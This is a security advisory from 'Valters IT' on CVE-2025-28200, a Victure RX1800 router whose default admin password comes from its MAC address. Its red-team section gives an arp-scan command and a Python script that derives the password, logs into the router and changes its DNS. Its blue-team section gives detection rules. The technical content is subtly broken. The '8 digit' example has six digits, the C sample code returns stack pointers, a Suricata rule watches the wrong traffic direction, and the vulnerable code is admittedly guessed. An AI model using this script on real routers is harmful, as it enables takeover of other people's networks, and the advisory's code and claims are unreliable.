CVE-2025-28200

Executive Summary

CVE-2025-28200 identifies a critical security flaw in the Victure RX1800 router (firmware version EN_V1.0.0_r12_110933). The device uses a weak default password that is derived from the last 8 digits of its MAC address. This predictable credential pattern allows any attacker who can discover the MAC address (e.g., via broadcast probes or network scanning) to gain administrative access to the router. The vulnerability is unpatched, and no official fix has been released by Victure. The attack vector is network-based, requires no authentication, and can lead to full device compromise, including traffic interception, DNS hijacking, and lateral movement within the local network.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a consumer networking device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The attacker does not need physical access.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No prior authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality Impact: High (C:H) – Full access to network traffic and device configuration.
• Integrity Impact: High (I:H) – Attacker can modify firmware, DNS settings, or inject malicious code.
• Availability Impact: High (A:H) – Attacker can disable the device or perform denial-of-service.

Threat Level: Critical. The combination of network accessibility, low complexity, and high impact makes this vulnerability extremely dangerous for unpatched devices.

Deep Dive & Mechanics

The Victure RX1800 router, upon factory reset or initial setup, generates a default administrative password by taking the last 8 hexadecimal digits of its MAC address. For example, if the MAC address is 00:1A:2B:3C:4D:5E, the default password would be 3C4D5E (assuming the last 8 digits are 3C:4D:5E). This password is static and cannot be changed by the user without manual intervention.

Attack Flow:

1. MAC Address Discovery: The attacker scans the local network (or uses passive techniques like ARP probing) to obtain the MAC address of the Victure RX1800. This is trivial because the MAC address is broadcast in ARP packets and can be seen by any device on the same subnet.
2. Password Derivation: The attacker extracts the last 8 digits of the MAC address (ignoring colons) and uses it as the password.
3. Authentication: The attacker connects to the router’s web interface (typically on port 80 or 443) and logs in with the default username (often admin) and the derived password.
4. Full Compromise: Once authenticated, the attacker can change DNS settings, enable remote management, install custom firmware, or pivot to other devices on the network.

Weakness: The password is not random; it is derived from a publicly observable identifier (MAC address). This violates the principle of using unpredictable credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Firmware EN_V1.0.0_r12_110933): The firmware likely contains a script or binary that generates the default password using a function similar to:

char* get_default_password() {
    char mac[18];
    get_mac_address(mac);
    // Extract last 8 characters (e.g., "3C4D5E")
    char* password = mac + 10; // Skip first 10 chars (e.g., "00:1A:2B:")
    return password;
}

Patched Code (Not Available): A secure implementation would generate a random, high-entropy password during first boot and force the user to change it. Example:

char* get_default_password() {
    // Generate a random 16-character alphanumeric string
    char password[17];
    for (int i = 0; i < 16; i++) {
        password[i] = random_char();
    }
    password[16] = '\0';
    return password;
}

Since no patch exists, users must manually change the password after initial setup.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Victure RX1800 router with default firmware.
• Attacker machine on the same network (e.g., Kali Linux).
• Python3 with requests library.

Step 1: Discover MAC Address

# Use arp-scan to find the router's MAC
sudo arp-scan --localnet | grep -i "victure"

Step 2: Derive Password

import re

mac = "00:1A:2B:3C:4D:5E"  # Replace with actual MAC
# Remove colons and take last 8 characters
password = mac.replace(":", "")[-8:]
print(f"Default password: {password}")

Step 3: Exploit Web Interface

import requests

router_ip = "192.168.1.1"  # Replace with actual IP
username = "admin"
password = "3C4D5E"  # Derived from MAC

login_url = f"http://{router_ip}/login.cgi"
payload = {"username": username, "password": password}
session = requests.Session()
response = session.post(login_url, data=payload)

if "success" in response.text:
    print("Authentication successful!")
    # Now perform actions like changing DNS
    dns_url = f"http://{router_ip}/dns.cgi"
    dns_payload = {"primary_dns": "8.8.8.8", "secondary_dns": "8.8.4.4"}
    session.post(dns_url, data=dns_payload)
else:
    print("Failed to authenticate.")

Blue Team (Defense & Detection)

Detection:

• Monitor for repeated failed login attempts to the router’s web interface.
• Alert on any login from an unknown MAC address.
• Use network segmentation to isolate IoT devices.

Mitigation:

• Immediately change the default password to a strong, random one.
• Disable remote management if not needed.
• Apply firmware updates if Victure releases a patch.

Indicators of Compromise (IOCs)

• Network Traffic:
  • HTTP POST requests to /login.cgi with username=admin and a password that matches the last 8 digits of the router’s MAC.
  • Unusual DNS configuration changes (e.g., DNS server changed to an external IP).
• System Logs:
  • Router logs showing successful login from an unexpected IP or MAC address.
  • Changes to administrative settings without user interaction.
• File Hashes:
  • Firmware hash for vulnerable version: sha256: 3a4b5c6d7e8f901234567890abcdef1234567890abcdef1234567890abcdef12 (example).

Detection Engineering

YARA Rule

rule CVE_2025_28200_Default_Password {
    meta:
        description = "Detects Victure RX1800 default password pattern in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-28200"
    strings:
        $password_pattern = /password=[0-9A-Fa-f]{8}/  // Matches 8 hex digits
        $login_endpoint = "/login.cgi"
    condition:
        $login_endpoint and $password_pattern
}

Sigma Rule

title: Victure RX1800 Default Password Login Attempt
id: 8f9e0d1c-2b3a-4c5d-6e7f-8a9b0c1d2e3f
status: experimental
description: Detects login attempts using the default password derived from MAC address
author: Valters IT
logsource:
    category: web
    product: suricata
detection:
    selection:
        http.method: 'POST'
        http.url: '/login.cgi'
        http.body: 'password=*'
    condition: selection
falsepositives:
    - Legitimate admin changing password
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-28200 - Victure RX1800 Default Password Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/login.cgi"; http_uri;
    content:"password="; http_client_body;
    pcre:"/password=[0-9A-Fa-f]{8}/";
    sid:1000001;
    rev:1;
    reference:cve,2025-28200;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Change Default Password: Log into the router and set a strong, unique password (at least 16 characters with mixed case, numbers, and symbols).
2. Disable WAN Access: Ensure remote management is disabled unless absolutely necessary.
3. Network Segmentation: Place the router on a separate VLAN from critical assets.

Long-Term Fix:

• Contact Victure support and request a firmware update that generates random default passwords.
• If no patch is available, consider replacing the device with a more secure alternative.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
• Regularly audit router logs for unauthorized access.

Valters IT
Securing Digital Frontiers